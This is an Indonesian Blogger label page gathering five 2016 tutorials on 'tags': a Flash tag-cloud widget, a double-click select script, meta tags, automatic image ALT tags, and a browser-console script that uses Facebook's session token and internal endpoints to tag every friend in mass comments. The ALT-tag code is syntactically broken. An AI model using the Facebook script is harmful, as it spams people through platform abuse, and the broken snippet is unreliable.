Post Game: tag

Showing posts with label tag. Show all posts

Saturday, December 17, 2016

Cara Membuat Label tag Cloud Berputar putar di Blog

Selamat pagi sobat semua !!! Dan selamat ber Akhir Pekan ya !!!

Kali ini, aq akan memposting tentang Cara Membuat Label tag Cloud berputar-putar layaknya bumi. Jika sobat tertarik, silahkan sobat simak ya tutorial di bawah ini.

Cara Membuat Label tag Cloud Berputar-putar :

Login ke blogger.com
Buka Dasboard Blogger > Template > Edit HTML
Jangan lupa, centang "Expand Template Widget"
Untuk Template lama cari kode ini: <b:section class=sidebar id=sidebar preferred=yes>
Untuk Template baru cari kode ini: <b:section-contents id=sidebar-right-1>
Setelah ketemu sobat copy code berikut ini tepat di bawah kode yang tadi.

<b:widget id=Label99 locked=false title=Labels type=Label><b:includable id=main><b:if cond=data:title><h2><data:title/></h2></b:if><div class=widget-content><script src=http://sites.google.com/site/bloggerustemplatus/code/swfobject.js type=text/javascript/><div id=flashcontent>bang zendy by <a href=http://zendyhafitra.blogspot.com/>Roy Tanck</a> and <a href=http://zendyhafitra.blogspot.com>bang zendy</a></div> <script type=text/javascript>var so = new SWFObject("http://sites.google.com/site/bloggerustemplatus/code/tagcloud.swf", "tagcloud", "300", "200", "7", "#ffffff");// uncomment next line to enable transparency//so.addParam("wmode", "transparent");so.addVariable("tcolor", "0x333333");so.addVariable("mode", "tags");so.addVariable("distr", "true");so.addVariable("tspeed", "100");so.addVariable("tagcloud", "<tags><b:loop values=data:labels var=label><a expr_href=data:label.url style=12><data:label.name/></a></b:loop></tags>");so.addParam("allowScriptAccess", "always");so.write("flashcontent");</script><b:include name=quickedit/></div></b:includable></b:widget>

Klik Simpan template

Keterangan :

Kode berwarna Merah adalah lebar widget ( bisa sobat sesuaikan sediri )
Kode berwarna Biru adalah tinggi widget ( bisa sobat sesuaikan sendiri )

Go to link Download

Cara Membuat Double Click Pada Tag Blockquote

Membuat Seleksi Otomatis Pada Tag Blockquote - Bagi sahabat yang suka berbagi tutorial, biasanya membagikan kode-kode yang suka dicopy. Standarnya penggunaan kode itu pada tag code atau tag pre. Akan tetapi setelah saya mengunjungi blog sahabat, tidak sedikit menggunakan blockquote untuk berbagi kode.

Untuk mempermudah mengcopy code yang dibagikan, sebaiknya menggunakan seleksi otomatis. Artinya, dengan hanya mengklik atau klik ganda (double click) kode tersebut akan terseleksi semua, tinggal melakukan Ctrl+C atau klik kanan kemudian Copy.

Contoh :

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

Berikut Tutorialnya

Langkah 1 : Simpan sript diatas </body>

<script type="text/javascript">
var pres = document.getElementsByTagName(&quot;blockquote&quot;);
for (var i = 0; i &lt; pres.length; i++) {
 pres[i].addEventListener(&quot;dblclick&quot;, function () {
 var selection = getSelection();
 var range = document.createRange();
 range.selectNodeContents(this);
 selection.removeAllRanges();
 selection.addRange(range);
 }, false);
}
</script>

Sebetulnya script di atas tidak mutlak untuk tag blockquote, karena selektornya berupa blockquote maka hanya berlaku untuk tag blockquote.

Lebih Lanjut :
Seperti saya jelaskan sebelumnya, script di atas berlaku untuk tag apapun, apabila sobat ingin menerapkan untuk tag pre, maka ganti blockquote yang ditandai, menjadi pre.

Pada script di atas, saya menggunakan klik ganda (double click) untuk menerapkan satu kali klik langsung terseleksi, sobat tinggal mengganti dblclick menjadi click.

Semoga bermanfaat...

Source: http://blog.kangismet.net/2013/07/membuat-seleksi-otomatis-pada-tag.html

Go to link Download

Cara Membuat Meta Tag Blogger

Sebelumn kita memulai cara membuat Meta Tag blogger, sebaiknya sobat tahu dulu apa itu sebenarnya Meta Tag, apa kegunaan meta tag.

Meta tag adalah tambahan yang berguna untuk mengidentifikasi situs web maupun blog yang sobat bangun, sehingga membantu robot mesin pencari untuk menemukan dan mengidentifikasi blog maupun web sobat.

Meta Tag pada umumnya di dituis dengan HTML. Dulu meta tag salah satu cara yang ampuh untuk menaikkan rank web atau blog pada mesin pencari, tapi sekarang ini pengaruh meta tag tidak begitu besar lagi dalam SEO (Search Engine Optimization). Tapi jangan salah sob, dalam membangun sebuah blog, meta tag perlu walaupun sitemap itu lebih penting.

Nah sekarang media infonetku akan membagi cara membuat meta tag blogger.

Masuk ke blogger.
Template, lalu klik Edit HTML.
Setelah itu pilih pilihan Lanjutkan.
Sekarang carilah kode dibawah ini, gunakanlah Ctrl+F pada browser sobat supaya lebih cepat.
setelah itu cari kode <head>

Kemudian copy paste kode dibawah ini tepat sesudah atau tepat dibawah kode diatas tadi.

<meta content=Ganti Dengan Kata Kunci Blog Sobat name=keywords/>
<meta content=Ganti Nama Author Blog Sobat name=author/>
<b:if cond=data:blog.url == data:blog.homepageUrl>
<meta content=Ganti Dengan Deskripsi Blog Sobat name=description/>
</b:if>
<meta content=INDEX,FOLLOW name=ROBOTS/>
<meta content=INDEX, FOLLOW name=GOOGLEBOT/>

note: huruf yang berwarna merah diganti dengan kata kunci web sobat masing-masing

Kemudian simpan atau save template blog sobat.
Penting untuk diingat DESCRIPTION & KEYWORD sobat jangan terlalu panjang dan jangan terlalu pendek juga. Pastikan juga description dan keyword sobat itu relefan dengan blog sobat, jangan sampai deskripsi yang sobat jelaskan berbeda dengan isi artikel sobat.
Nah sobat bisa cek meta tag sobat apa sudah berfungsi dengan baik, caranya klik judul blog sobat di mesin pencari google apa Description blog sobat sudah terlihat atau belum. Jika sobat merasa b]kurang puas sobat bisa cek di MetaChecker.com carannya gampang kq sobat tinggal masukkan alamat Url blog sobat kemudian klik Check, tunggu sebentar semua laporan lengkap tentang blog sobat bisa sobat lihat disana.

sekian artikel kali ini jika ada pertanyaan silahkan koment dibawah atau bisa langsung hubungi saya ke rizkyimam25@yahoo.com insyaallah saya bisa bantu :)

Go to link Download

Cara Membuat Auto Tag Di Status Facebook

Hai Semuanya :D
Sudah Lama Saya Tidak MengPost Di Blog Ini
Kali Ini Saya Akan Membuat Post " Cara Membuat Auto Tag Di Status Facebook "

Gambar Yg Kecil Silahkan Di Klik Agar Dapat Melihat Gambar Yang Lebih Besar

Langsung Saja :
1.Buka Facebook Kamu
2.Ambil ID Status Kamu
Images

3.Lihat ID Fb Kamu DiSini http://graph.facebook.com/i.am.a.anonim (Ganti i.am.a.anonim Menjadi ID FB Kamu , Sebelumnya Ke Profil Fb Kamu

4.Copy Script Ini Ke NotePad

var aing = {

/**
Copyright:
----------
AingCreations 2013
aingcreations.blogspot.com
----------
Shared By LordKaisar | lordkaisar.blogspot.com
Please Dont Remove This Credits (Saya Juga Pengen Terkenal)
----------
**/

        posId: "238410476319270", //ganti dengan ID status
        idGw: "100004509571154", //ganti dengan ID FB kamu
//      idGw:/[0-9]{8,}/.exec(document.getElementsByClassName("fbxWelcomeBoxImg")[0].d)[0],

        dtsg: document.getElementsByName(
                "fb_dtsg")[0].value,
        ctLama: /comment_text=(.*?)&/,
        c: 1,
        ctBaru: "comment_text=",
        getPren: function (uid) {
                var a = window.ActiveXObject ? new ActiveXObject(
                        "Msxml2.XMLHTTP") : new XMLHttpRequest;
                if (a.open("GET",
                        "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" +
                        uid +
                        "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", /** method GET **/ !
                        1), a.send(null), 4 == a.readyState) {
                        var b = JSON.parse(a.responseText.substring(
                                a.responseText.indexOf("{")));
                        return b.payload.entries
                }
                return !1
        },
        hajar: function () {
                aing.koncos = aing.getPren(aing.idGw);
                aing.pale = "ft_ent_identifier=" +
                        aing.posId +
                        "&comment_text=0&" +
            "source=1&" +
            "client_id=1359576694192%3A1233576093&" +
            "reply_fbid" +
            "&parent_comment_id&" +
            "rootid=u_jsonp_3_19&" +
            "ft[tn]=[]&" +
            "ft[qid]=5839337351464612379&" +
            "ft[mf_story_key]=5470779710560437153&" +
            "ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" +
                        aing.idGw +
                        "&__a=1&__req=4u&fb_dtsg=" + aing.dtsg +
                        "&phstamp=" + Math.random();
                for (var n = 1; n < aing.koncos.length; n++) {
                        if (fb_dtsg = aing.dtsg, aing.ctBaru +=
                                "Teman%20Facebook%20ke%20" + n + "%20%40[" + aing.koncos[
                                        n].uid +
                                "%3AAAAAAAAAAAA]%20lagi%20apa%20kamu%20^_^%20Maaf%20kalo%20kalian%20udah%20di%20Tag%20;)%20lagi%20nyoba%20anu%20hehehe...%20:)%20B|%20%0A", //message with percent encoding for URIs
                                aing.c++, 7 == aing.c) {
                                with(aing.ctBaru += "&", new XMLHttpRequest) open(
                                        "POST",
                                        "/ajax/ufi/add_comment.php?__a=1"), /** method POST **/
                                setRequestHeader("Content-Type",
                                        "application/x-www-form-urlencoded"
                                ), send(aing.pale.replace(aing.ctLama,
                                        aing.ctBaru));
                                z = setTimeout("function(){asd=0}",
                                        1e3), clearInterval(z), aing.c = 1,
                                aing.ctBaru = "comment_text="
                        }
                }
        }
};
aing.hajar();

Tulisan Yg Berwarna Merah DI Ganti Dengan ID Status Facebook Mu
Tulisan Yg Berwarna Hijau Di Ganti Dengan ID Facebook Mu

5.Buka Status Yang Sudah Kamu Ambil IDnya
Images

6.Buka Dialog javascript ( Bisa Klik kanan >Inspect Elemen > Console , Khusus Mozilla , DI Browser Lain Bisa Tapi Caranya Cari Di Google ) Dan Pastekan Script Yg Udh DI Edit Tadi Di Kolom Yg Telah Di Warnai Merah
Images

7.Hasilnya Seperti Ini :D ( Bisa Di Lihat Di Status Saya ,https://www.facebook.com/i.am.a.anonim/posts/238410476319270 ) Images

Semoga Bermanfaat Untuk Anda Semua

Go to link Download

Cara Membuat ALT tag di setiap Gambar Otomatis

Cara Membuat ALT tag di setiap Gambar Otomatis - di pagi hari yang cerah ini saya akan berbagi ilmu tentang optimasi seo . salah satu pakar seo mengatakan bahwa salah satu sifat blog atau template yang seo adalah harus ada title disetiap link dan gambar , serta harus ada tag alt pada setiap gambar . nah kali ini kita akan membahas tentang membuat Tag Alt otomatis disetiap gambar pada blogger.

Jika sobat teratrik nah beriku Cara Membuat ALT tag di setiap Gambar Otomatis di blogger :

1. Masuk ke dasbhor terlebih dahulu
2. Kemduadian Pilih Menu template => Edit HTML
3. Kemudian sobat cari kode </body> ( biasanya kode terletak di paling bawah pisan )
4. Setelah itu salin dan pastekan kode dibawah ini tepat di atas kode </body>

<script src=http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js type=text/javascript/>
<script type=text/javascript>
//<![CDATA[ $(document).ready(function() {
$(img).each(function(){
var $img = $(this);
var filename = $img.attr(src)
$("img:not([alt])").attr(title, filename.substring((filename.lastIndexOf(/))+1, filename.lastIndexOf(.)));
$("img:not([alt])").attr(alt, filename.substring((filename.lastIndexOf(/))+1, filename.lastIndexOf(.)));
//]]>
</script>

Note :

bila sobat sudah mempunyai kode jquery ( <script src=http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js type=text/javascript/> ) maka sobat tidak usah pasang lagi .

6 . Kemudian simpan template ..
7. Done ( selesai )

Gimana sob mudahkan Cara Membuat ALT tag di setiap Gambar Otomatis . cukup disini dulu ya tutorial saya kali ini . akhirul kalam wasaalam wr.wb.

Go to link Download

Post Game

Saturday, December 17, 2016

Cara Membuat Label tag Cloud Berputar putar di Blog

Cara Membuat Label tag Cloud Berputar putar di Blog

Thursday, December 15, 2016

Cara Membuat Double Click Pada Tag Blockquote

Cara Membuat Double Click Pada Tag Blockquote

Berikut Tutorialnya

Sunday, December 11, 2016

Cara Membuat Meta Tag Blogger

Cara Membuat Meta Tag Blogger

Wednesday, December 7, 2016

Cara Membuat Auto Tag Di Status Facebook

Cara Membuat Auto Tag Di Status Facebook

Gambar Yg Kecil Silahkan Di Klik Agar Dapat Melihat Gambar Yang Lebih Besar

Wednesday, October 12, 2016

Cara Membuat ALT tag di setiap Gambar Otomatis

Cara Membuat ALT tag di setiap Gambar Otomatis